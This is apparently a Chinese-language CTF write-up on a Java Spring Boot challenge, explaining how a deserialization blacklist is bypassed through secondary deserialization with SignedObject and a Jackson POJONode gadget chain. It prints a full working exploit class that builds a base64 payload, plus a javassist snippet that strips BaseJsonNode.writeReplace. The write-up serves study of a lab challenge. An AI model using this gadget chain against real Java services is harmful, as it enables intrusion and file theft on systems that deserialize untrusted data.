0x01 前言
最近也不怎么看CTF了,主要是分析java和打一些渗透靶场,其实也没干多少事情。极客巅峰这个比赛本来我也是不知道的,也没有参加。比赛的时候组里的同学就发给我这一道java题,心想也算了解过一些java反序列化的东西,也没做过什么java反序列化的题目,就尝试一下吧。结果第一次听说二次反序列化,才有了下文。
0x02 题目分析
附件就是一个jar包,用jd-gui也可以拖到idea反编译一下。是一个springboot框架,逻辑也比较简单,分析一下。
先看路由:
反序列化的入口点,只不过我们需要注意的是它使用的是自定义的输入流的类MyObjectInputStream。看看这个类实现了一个怎样的逻辑
重写了resolveClass方法,里面添加了一些黑名单,里面正好有题目中的两个模板类。
就是一个读文件的功能。再看两个模板类,它们都继承了Serializable接口
URLHelper
重写了readObject方法,看来入口类就是它了。调用了任意类的visitUrl方法,并把结果写进文件里。
URLVisiter
通过指定url访问其内部资源然后返回。代码逻辑还是很好懂的。
0x03 漏洞利用分析
预期利用很简单,反序列化URLHelper类,它里面的url和visiter属性都可控,可以调用URLVisiter的visitUrl方法,通过file协议,或者访问内网地址将flag的内容读取到file文件中,然后通过file路由回显到客户端。有效代码:
URLHelper handler = new URLHelper("http://127.0.0.1:8888/flag.txt"); URLVisiter urlVisiter = new URLVisiter(); Field aaa = Class.forName("com.yancao.ctf.bean.URLHelper").getDeclaredField("visiter"); aaa.set(handler,urlVisiter);
|
但是在黑名单中有URLHelper的全限定名,如果你序列化的是这个类,基本上你是没法绕的。所以就要用到一种新的(对我来说)绕过技巧——二次反序列化。
二次反序列化探寻之旅
顾名思义,二次反序列化就是在服务端第一次反序列化的时候,通过某些类可以进行二次反序列化。而在第二次反序列化的时候是没有限制恶意类的,可以通过这个绕过黑名单。当然也可以用来写内存马(不太了解)
SignedObject
能够进行二次反序列化的类必然是重写了readObject方法的,也不卖关子了,就是SignedObject这个用于签名的类。看它的readObject方法
如果content属性可控,那就完美了。看它的构造方法
第一个参数就是可以序列化的类,在这个构造函数里面对它序列化,并且赋值给content属性。这就完全符合二次反序列化的条件。有效代码:
KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(恶意类, privateKey, signingEngine);
|
用于签名的私钥等其他两个参数不需要深究,当个模板用就可以。那么如何调用getObject方法
Jackson触发getter流程分析
getObject也是一种getter方法,jackson的序列化是可以触发getter的。
到这里可能会有些疑问,为啥会扯到jackson包里面的类?pom也没有导入相关依赖啊?
确实,pom文件里只有一些spring-boot-starter,spring-framework有关的依赖
外部库中有jackson的相关jar包。因为jackson是org.springframework.boot:spring-boot-starter-test:jar:2.7.14:test的依赖,所以自然也会下载它的jar包。
回归正题,分析流程
写了两个测试类,主要功能就是用jackson序列化
package com.yancao.ctf.test;
import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.ObjectWriter;
public class Test1 { public static void main(String[] args) throws JsonProcessingException { Person person = new Person("aaa", 28); ObjectMapper mapper = new ObjectMapper(); ObjectWriter writer = mapper.writer(); String json = writer.writeValueAsString(person); System.out.println(json); } }
|
writeValueAsString方法就是本题用到的关键方法,跟进调试看一下
然后跟进到_writeValueAndClose里面
跟进到这个序列化函数里,后面就类似于封装了,层层调用
然后调用到最终的这个serializeFields方法,
有getter方法的调用,那么就可以通过writeValueAsString方法来调用getObject方法。
那么哪些地方可以调用writeValueAsString方法呢?
POJONode
查找用法
调用的地方很少,所以可以直接锁定这个方法,这个方法又是谁调用的呢?好像只有一处
来到了BaseJsonNode的toString方法。这个类是一个抽象类,POJONode就属于它的一个实现类。那么现在问题就变成了怎么调用toString方法。在CC5中有一个再适合不过的类了。
BadAttributeValueExpException
它是jdk自带的类,并且它还重写了readObject方法
在这个方法里面调用了toString,valObj属性值我们可以通过反射去改。那么把它当作入口的类,到此整条链分析结束。
利用链
BadAttributeValueExpException#readObject->POJONode#toString->ObjectWriter#writeValueAsString->SignedObject#getObject->二次反序列化->URLHelper#readObject->URLVisiter#visitUrl
|
踩坑
这里有一个坑,整条链子理顺之后写完exp运行发现是会报错的。
报了一个这样的错误,其实exp的代码是没有问题的,当时困扰了我好久,然后找到文章说是在BaseJsonNode的writeReplace方法
报错在这里
这个方法是Java序列化机制的一部分,它是在对象进行序列化时被调用的特殊方法。它的存在可以默认改变它的序列化行为,可能会偏离我们的预期结果。所以解决办法就是重写一个BaseJsonNode或者用反射删除。这里直接Copy一位师傅用反射删除writeReplace方法的代码
try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { }
|
需要导入相关依赖:
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency>
|
0x04 题目复现
java题目还是比较好的。有jar包,可以自己本地复现。
EXP
package com.yancao.ctf;
import com.fasterxml.jackson.databind.node.POJONode; import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.security.*; import java.util.Base64;
public class CtfAttack { public static void main(String[] args) throws IOException, NoSuchAlgorithmException, SignatureException, InvalidKeyException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { URLHelper urlHelper = new URLHelper("http://127.0.0.1:8888/flag.txt"); URLVisiter urlVisiter = new URLVisiter(); urlHelper.visiter = urlVisiter;
KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);
try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { }
POJONode pojoNode = new POJONode(signedObject); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class aaa = Class.forName("javax.management.BadAttributeValueExpException"); Field val = aaa.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, pojoNode);
ByteArrayOutputStream ser = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(ser); objectOutputStream.writeObject(badAttributeValueExpException); System.out.println(Base64.getEncoder().encodeToString(ser.toByteArray())); } }
|
复现
D盘的tmp文件夹下有flag文件
在此目录下用python开个web服务
exp运行是一串很长的base64,get传进去会报错,则需要url编码一下。
接着访问file路由
可以读取到flag。
0x05 小结
之前没怎么做过java题,复现这道题的时候开头也确实比较迷。网上也只能找到两三个这道题的wp,一般都是直接甩个exp就没了,有的exp写的也并不是很完整,比如那个踩坑的地方。然后就网上看文章,自己用idea慢慢调。总之收获还是蛮大的。据说这道题和之前阿里云CTF的java题的思路很像。阿里云CTF的java题我也保存有附件,搭好环境在idea吃灰呢。看来得找个时间复现一下了。
另外非常感谢师傅们的文章
参考链接:
https://boogipop.com/2023/05/16/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/
https://www.viewofthai.link/2023/07/22/%e5%b7%85%e5%b3%b0%e6%9e%81%e5%ae%a2ctf-2023-%e4%b8%8a-babyurl/
https://xz.aliyun.com/t/12509